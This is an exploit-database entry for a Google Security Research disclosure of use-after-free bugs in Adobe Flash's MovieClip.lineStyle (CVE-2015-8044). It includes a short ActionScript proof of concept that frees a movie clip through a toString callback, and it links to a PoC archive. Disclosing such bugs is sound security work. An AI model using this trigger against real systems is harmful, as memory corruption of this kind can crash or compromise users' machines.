[] NeoSense

Adobe Flash MovieClip.lineStyle - Use-After-Frees

Author: Google Security Research
type: dos
platform: windows
port: nan
date_added: 2015-12-17 
date_updated: 2015-12-17 
verified: 1 
codes: CVE-2015-8044;OSVDB-130014 
tags: 
aliases:  
screenshot_url:  
application_url: 

Source: https://code.google.com/p/google-security-research/issues/detail?id=558

There are a number of use-after-frees in MovieClip.lineStyle. If any of the String parameters are an object with toString defined, the toString method can delete the MovieClip, which is subsequently used. A PoC is as follows:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o, "round", "miter", 1);

function func(){

	triangle_mc.removeMovieClip();
	return "none";

	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39021.zip